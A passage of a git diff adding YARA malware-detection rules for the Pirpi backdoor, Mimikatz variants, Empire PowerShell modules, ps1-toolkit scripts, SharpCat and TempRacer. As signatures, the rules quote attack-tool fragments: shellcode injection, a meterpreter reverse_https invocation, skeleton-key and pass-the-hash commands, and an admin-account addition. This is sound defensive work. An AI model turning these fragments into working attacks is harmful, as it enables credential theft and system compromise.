+		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
+		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
+	strings:
+		$x1 = "expand.exe1.gif" fullword ascii
+
+		$c1 = "expand.exe" fullword ascii
+		$c2 = "ctf.exe" fullword ascii
+
+		$s1 = "flvUpdate.exe" fullword wide
+		$s2 = "www.ThinkWorking.com" fullword wide
+		$s3 = "ctfnon.exe" fullword ascii
+		$s4 = "flv%d.exe" fullword ascii
+		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
+		$s6 = "12811[%d].gif" fullword ascii
+		$s7 = "GetApp03" fullword wide
+		$s8 = "flvUpdate" fullword wide
+		$s9 = "%d-%4.4d%d" fullword ascii
+		$s10 = "http://%s/%5.5d.html" fullword ascii
+		$s11 = "flvbho.exe" fullword wide
+
+		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
+		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
+		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( $x1 or all of ($c*) or all of ($op*) ) ) or ( 8 of them )
+}
+
+rule Pirpi_1609_B {
+	meta:
+		description = "Detects Pirpi Backdoor"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
+	strings:
+		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
+		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
+		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
+		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
+		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
+		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
+		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
+		$s8 = "tconn <ip> <port>" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 4 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_powerkatz.yar b/yara-mikesxrs/Florian Roth/gen_powerkatz.yar
new file mode 100644
index 0000000..08a4cdb
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_powerkatz.yar	
@@ -0,0 +1,30 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-05
+	Identifier: Powerkatz
+*/
+
+rule Powerkatz_DLL_Generic {
+	meta:
+		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
+		author = "Florian Roth"
+		reference = "PowerKatz Analysis"
+		date = "2016-02-05"
+		super_rule = 1
+		score = 80
+		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
+		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
+		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
+	strings:
+		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
+		$s2 = "%*s  pPublicKey         : " fullword wide
+		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
+		$s5 = "\\*.kirbi" fullword wide
+
+		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
+		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or 2 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_powershell_empire.yar b/yara-mikesxrs/Florian Roth/gen_powershell_empire.yar
new file mode 100644
index 0000000..b64618c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_powershell_empire.yar	
@@ -0,0 +1,168 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-07
+	Identifier: Empire Powershell Agent
+	Comment: Reduced Subset
+*/
+
+rule Empire_Invoke_BypassUAC {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
+	strings:
+		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii 
+		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii 
+		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii 
+		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii 
+	condition:
+		filesize < 1200KB and 3 of them
+}
+
+rule Empire_lib_modules_trollsploit_message {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
+	strings:
+		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii 
+		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii 
+		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii 
+		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii 
+	condition:
+		filesize < 10KB and 3 of them
+}
+
+rule Empire_Persistence {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
+	strings:
+		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii 
+		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii 
+		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii 
+	condition:
+		filesize < 108KB and 1 of them
+}
+
+rule Empire_portscan {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
+	strings:
+		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii 
+		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii 
+	condition:
+		filesize < 14KB and all of them
+}
+
+rule Empire_Invoke_Shellcode {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
+	strings:
+		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii 
+		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii 
+		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii 
+	condition:
+		filesize < 100KB and 1 of them
+}
+
+rule Empire_Invoke_Mimikatz {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
+	strings:
+		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii 
+		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii 
+		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii 
+	condition:
+		filesize < 2500KB and 2 of them
+}
+
+rule Empire_lib_modules_credentials_mimikatz_pth {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
+	strings:
+		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii 
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule Empire_Write_HijackDll {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
+	strings:
+		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii 
+		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii 
+		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii 
+	condition:
+		filesize < 500KB and 2 of them
+}
+
+rule Empire_skeleton_key {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
+	strings:
+		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii 
+		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii 
+		$s3 = "command = \"misc::skeleton\"" fullword ascii 
+		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii 
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule Empire_invoke_wmi {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
+	strings:
+		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii 
+		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii 
+	condition:
+		filesize < 20KB and 2 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_powershell_toolkit.yar b/yara-mikesxrs/Florian Roth/gen_powershell_toolkit.yar
new file mode 100644
index 0000000..17bd143
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_powershell_toolkit.yar	
@@ -0,0 +1,226 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-04
+	Identifier: PowerShell Toolset - Cloaked
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ps1_toolkit_PowerUp {
+	meta:
+		description = "Auto-generated rule - file PowerUp.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+	strings:
+		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
+		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
+		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
+		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
+		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
+		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
+		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
+		$s8 = "Write-Warning \"[!] Target service" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 4000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce {
+	meta:
+		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
+		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
+		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 300KB and 1 of them ) or ( 2 of them )
+}
+
+rule ps1_toolkit_Invoke_Shellcode {
+	meta:
+		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
+		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
+		$s4 = "inject shellcode into" ascii
+		$s5 = "Injecting shellcode" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 90KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz {
+	meta:
+		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
+		$s3 = "privilege::debug exit" ascii
+		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
+		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
+		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+	strings:
+		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
+		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
+		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
+		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
+		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
+		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 700KB and 2 of them ) or ( all of them )
+}
+
+rule ps1_toolkit_Persistence {
+	meta:
+		description = "Auto-generated rule - file Persistence.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+	strings:
+		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
+		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
+		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup"  ascii
+		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture"  ascii
+		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))"  ascii
+		$s6 = "}=$PROFILE.CurrentUserAllHosts;${"  ascii
+		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		super_rule = 1
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+	strings:
+		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
+		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
+		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
+		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
+		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
+		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
+		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
+		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
+		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
+		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 3 of them ) or ( 6 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_2 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
+		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
+		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
+		$s4 = "}.relay_running = $false" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_PowerUp_2 {
+	meta:
+		description = "Auto-generated rule - from files PowerUp.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+	strings:
+		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
+		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
+		$s3 = "$Null = Invoke-ServiceStart" ascii
+		$s4 = "Write-Warning \"[!] Access to service $" ascii
+		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
+		$s6 = "} += \"net localgroup ${" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 2000KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Persistence_2 {
+	meta:
+		description = "Auto-generated rule - from files Persistence.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+	strings:
+		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
+		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
+		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
+		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
+		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
+		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
+		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
+		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_3 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
+		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
+		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
+		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
+		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
+		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
+		$s7 = "}.bruteforce_running)" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_regsrv32_issue.yar b/yara-mikesxrs/Florian Roth/gen_regsrv32_issue.yar
new file mode 100644
index 0000000..a639946
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_regsrv32_issue.yar	
@@ -0,0 +1,23 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-26
+	Identifier: regsvr32 issue
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SCT_Scriptlet_in_Temp_Inet_Files {
+	meta:
+		description = "Detects a scriptlet file in the temporary Internet files (see regsvr32 AppLocker bypass)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/KAB8Jw"
+		date = "2016-04-26"
+	strings:
+		$s1 = "<scriptlet>" fullword ascii nocase
+		$s2 = "ActiveXObject(\"WScript.Shell\")" ascii
+	condition:
+		( uint32(0) == 0x4D583F3C or uint32(0) == 0x6D78F3C ) /* <?XM or <?xm */
+		and $s1 and $s2
+		and filepath contains "Temporary Internet Files"
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_sharpcat.yar b/yara-mikesxrs/Florian Roth/gen_sharpcat.yar
new file mode 100644
index 0000000..edcca69
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_sharpcat.yar	
@@ -0,0 +1,21 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: SharpCat
+*/
+
+rule SharpCat {
+	meta:
+		description = "Detects command shell SharpCat - file SharpCat.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/Cn33liz/SharpCat"
+		date = "2016-06-10"
+		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
+	strings:
+		$x1 = "ShellZz" fullword ascii
+		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s3 = "currentDirectory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_tempracer.yar b/yara-mikesxrs/Florian Roth/gen_tempracer.yar
new file mode 100644
index 0000000..70fc061
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_tempracer.yar	
@@ -0,0 +1,25 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-30
+	Identifier: TempRacer
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TempRacer {
+	meta:
+		description = "Detects privilege escalation tool - file TempRacer.exe"
+		author = "Florian Roth"
+		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
+		date = "2016-03-30"
+		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
+	strings:
+		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
+		$s2 = "[+] Injecting into " fullword wide
+		$s3 = "net localgroup administrators alex /add" fullword wide
+		$s4 = "[+] File: {0} renamed to {1}" fullword wide
+		$s5 = "[+] Blocking " fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and 1 of them ) or ( 4 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_thumbs_cloaking.yar b/yara-mikesxrs/Florian Roth/gen_thumbs_cloaking.yar
new file mode 100644
index 0000000..e1dd5ab
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_thumbs_cloaking.yar	
@@ -0,0 +1,10 @@
+rule Exe_Cloaked_as_ThumbsDb
+    {
+    meta:
+        description = "Detects an executable cloaked as thumbs.db - Malware"
+        date = "2014-07-18"
+        author = "Florian Roth"
+        score = 50
+    condition:
+        uint16(0) == 0x5a4d and filename matches /[Tt]humbs\.db/
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/gen_transformed_strings.yar b/yara-mikesxrs/Florian Roth/gen_transformed_strings.yar
new file mode 100644
index 0000000..9673330
